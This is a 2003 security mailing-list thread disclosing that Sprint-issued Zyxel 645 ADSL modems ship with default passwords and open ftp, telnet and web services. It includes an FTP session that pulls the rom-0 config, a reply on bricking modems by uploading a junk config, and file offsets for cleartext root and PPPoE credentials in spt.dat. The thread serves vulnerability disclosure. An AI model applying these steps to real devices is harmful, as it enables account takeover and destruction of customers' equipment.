Onderwerp: SPRINT ADSL [Zyxel 645 Series Modem]

Thursday, January 23 2003

Sprint FastConnect[insert little registration r here]ADSL provides
the Zyxel series of modem/routers to their customers. The problem is
all these devices are factory set with default commonly known
passwords and logins and include a little http, ftp and telnet
server. This allows for remote configuration of the network settings
and host of other things. Including uploading and downloading the
modem configuration file rom-0, rebooting the modem, changing the
modem's remote management login and password, various other "high-
tech" fiddling possibilities. Through both telnet and web.

Certainly not of interest or of need to your generic subscriber.

Quick pretend examination of:

Sprint NETBLK-SPRINTBLK (NET-198-67-0-0-1)
198.67.0.0 - 198.70.255.255
LTD SPRINT FLA ANS ISP FON-332652953698729 (NET-198-70-208-0-1)
198.70.208.0 - 198.70.223.255

shows 800 out of 2000 [of 100,000 or so] affected modems. Closer
examination confirms:

Copyright (c) 1994 - 2002 ZyXEL Communications
Corp.

P645ME+ Main Menu

Getting Started Advanced Management
1. General Setup 21. Filter Set
Configuration
3. Ethernet Setup 22. SNMP Configuration
4. Internet Access Setup 23. System Password
24. System Maintenance
25. IP Routing Policy
Setup
Advanced Applications 26. Schedule Setup
11. Remote Node Setup
12. Static Routing Setup
15. SUA Server Setup 99. Exit






Enter Menu Selection Number:

punching in on our replica modem, number four [4], we get:


Menu 4 - Internet Access Setup

ISP's Name= MyISP
Encapsulation= PPPoE
Multiplexing= LLC-based
VPI #= 8
VCI #= 35
Service Name=
My Login= grandpamalware@malware.com
My Password= ********
Single User Account= Yes
IP Address Assignment= Dynamic
IP Address= N/A
ENET ENCAP Gateway= N/A




Press ENTER to Confirm or ESC to Cancel:

Press ENTER to Confirm or ESC to Cancel:

Playing with our replica modem a bit more we GET:

ftp> open malware.com
Connected to malware.com.
220 Sprint FTP version 1.0 ready at Wed Jan 5 17:20:47 2000
User (malware.comnone)):
331 Enter PASS command
Password:
230 Logged in
ftp> get rom-0
200 Port command okay
150 Opening data connection for RETR rom-0
226 File sent OK
ftp: 16384 bytes received in 2.03Seconds 8.07Kbytes/sec.
ftp>

Due to our modem only being a replica, we are unable to determine
whether uploading our custom crafted rom-0 file from our second
replica modem to our first, will (a) register the user data from
there to there inclusive of user name and password and or (b)
overwrite the configuration file in such a way our modem then becomes
useless.

But without a doubt, we are not happy to see Grandpappy's private
email address out in the open for the whole world to see.

Notes:

1. The provider suggests that slapping up a web page with
instructions to disable this "feature" will be the solution. We would
suggest fire-walling off the entire affected user base ftp, http and
telnet ports, rolling out the trucks, physically reconfiguring each
and every affected subscriber's modem or replacing them
2. PRIVACY PRIVACY PRIVACY. In this day and age, it is all we have
left !
3. http://www.wired.com/news/infostruct...,57342,00.html
4. Victims of this contact your provider asa possible and have them
hand-hold you through disabling this "feature". Better yet, insist
they send over the installer to do it for you. After all it should
have been done at time of installation.

End Call



--
http://www.malware.com

Hi!

> shows 800 out of 2000 [of 100,000 or so] affected modems. Closer
> examination confirms:

> ftp> open malware.com
> Connected to malware.com.
> 220 Sprint FTP version 1.0 ready at Wed Jan 5 17:20:47 2000
> User (malware.comnone)):
> 331 Enter PASS command
> Password:
> 230 Logged in
> ftp> get rom-0
> 200 Port command okay
> 150 Opening data connection for RETR rom-0
> 226 File sent OK
> ftp: 16384 bytes received in 2.03Seconds 8.07Kbytes/sec.
> ftp>

Its even worse, if you upload a config file, same size as the rom-0 file,
but filled with total crap the modem reboots (it does thatautomaticlty
after uploading a new image) and after that the modem is broken. You ONLY
have the ability to upload a new image via a serial port then, and most
customers just have to bring back their unit. The modem is waiting after
upload of a broken image, with a x-modem session. And there it ends. Even
if you upload the previous image it wont work. Nice stuff

There are two files you can toy around with in this case, ras and rom-o
ras is the image file, rom-0 is 'just' the config.

Bye,
Raymond.

> ftp> open malware.com
> Connected to malware.com.
> 220 Sprint FTP version 1.0 ready at Wed Jan 5 17:20:47 2000
> User (malware.comnone)):
> 331 Enter PASS command
> Password:
> 230 Logged in
> ftp> get rom-0

I'm not sure if this applies to the Zyxel boxes you found, but there is another
file called spt.dat, which contains all password and account information. More
details can be found here: http://www.DarkLab.org/archive/msg00144.html

FX

--
FX <fx@phenoelit.de>
Phenoelit (http://www.phenoelit.de)
672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564

FX <fx@phenoelit.de> said:

> > ftp> open malware.com
> > Connected to malware.com.
> > 220 Sprint FTP version 1.0 ready at Wed Jan 5 17:20:47 2000
> > User (malware.comnone)):
> > 331 Enter PASS command
> > Password:
> > 230 Logged in
> > ftp> get rom-0
>
> I'm not sure if this applies to the Zyxel boxes you found, but
there is another
> file called spt.dat, which contains all password and account
information. More
> details can be found here:
http://www.DarkLab.org/archive/msg00144.html
>
> FX

Yes FX you are correct. After a good swift kick in the nuts, Sprint
has done and is still doing an admirable job in fixing this.

Sufficient time has elapsed to advise this.

The only additional note is to strongly suggest that the users change
their master account password as well:

<!--

Friday, January 24, 2003

Ladies and Gentlemen:

Reference the information provided to you on Monday and Tuesday of
this week and subsequent announcements on Thursday this week:

http://www.wired.com/news/infostruct...,57342,00.html

http://www.securityfocusonline.com/a...03-01-22/2003-
01-28/0

This message serves to inform you that your entire user base is open
to full and complete remote compromise through this modem.

This includes full access to:

1. the internet via adsl and dialup connection
2. pop3 email retrieval
3. webmail
4. web based user account management including user name and address
and billing details

The problem lies in the fact that the modem you have provided to your
user base is installed with a commonly known default login and
password. Once access has been gained to this modem, it is trivially
possible to retrieve a storage file contained within the modem which
includes the user's name and password.

With this information it is possible to access all aspects of the
user account as described above.

Example:

00000020: 1234
00000042: malst
00000060: Sprint
00000082: mal Ware
000000AC: public
000000CC: public
000000EC: public
00001086: dhcppc
00001C54: MyISP
00001DDE: grandpamalware
00001DEB: malware.
00001DFE: ware
00002112: mal

0x20 the root password in clear
0x40 SNMP Location
0x60 Device name
0x80 SNMP Sys Contact
0xac SNMP read community
0xcc SNMP read community
0xec SNMP read community
0x188 SUA Server IP address
0x1c54 First PPPoE Account config name (Default: ChangeMe)
0x1dde First PPPoe Username
0x1dfe First PPPoe Password
0x21dc Second PPPeE Account config name

Where username: grandpamalware@malware.com and pass: ware inputted
into a dialup connection with specific access number, will function,
where inputted into a pop3 mail client with corresponding pop3
server, will retrieve mail accordingly, where inputted into a web
based mail access, will allow for access and where access to
myaccount information is required, will allow for authentication and
login.

In other words, the single user id and email address along with the
single pass all contained within the file on the modem will allow
access to everything!

The file on the modem is a small dat file called spt.dat therein, in
clear text, lies all this information.

This information is already in the public domain and you need to
urgently fire-wall your user base ports http, telnet, and ftp while
you solve this problem. You must assume that malicious parties are
well-aware
of and are probably exploiting it right now.

Today is Friday. Nothing has been done about this to date. Your
entire user base is at risk.

We expect some sort of substantial action by Tuesday latest. Failing
that, we will discuss this in technical depth on all relevant
security lists.

End Call

cc:

Wired
@pc-radio.com
Symantec
@securityfocus.com
CERT
@cert.org
Earthlink
@corp.earthlink.net
abuse@earthlink.net
security@corp.earthlink
Sprint
@mail.sprint.com
noc@sprint.net
abuse@sprint.net
security@sprint.net


--
http://www.malware.com

-->

Date: Tue, 28 Jan 2003 17:01:25 -0500

<!--

Sprint is working closely with its DSL modem manufacturer to ensure
the
security and integrity of its Sprint-provided DSL equipment. Sprint is
dedicated to providing its customers a secure broadband Internet
network, and to that end, recently identified an additional layer of
security that can help protect customers' DSL modems.<?xml:namespace
prefix = o ns = "urn:schemas-microsoft-comfficeffice" />

The company began notifying its customers - one-by-one - in a very
targeted initiative to provide guidance on ensuring their DSL service
is
reliable and secure. We are consulting with our customers and walking
them through the relatively simple steps to ensure an additional layer
of security on their modem.

Proactively, we are reaching out to our customers in three different
ways - outbound telephone calls, e-mail messages and a customer letter
mailed today (Jan. 28). These communications are directed at helping
ensure the safety and security of customers' DSL modems.

Additionally, we are informing all DSL customers who call our
technical
assistance group of the procedures for securing their modem.

Sprint is committed to providing safe, reliable and secure voice and
data services to all its customers. When an event occurs that
threatens
that safety, reliability and security, we take it very seriously and
we
will continue to do everything we can to contact our customers.



Director-Customer Operations

-->

Notes: users can address the issue here:

http://csb.sprint.com/home/local/dsl...lease645m.html


--
http://www.malware.com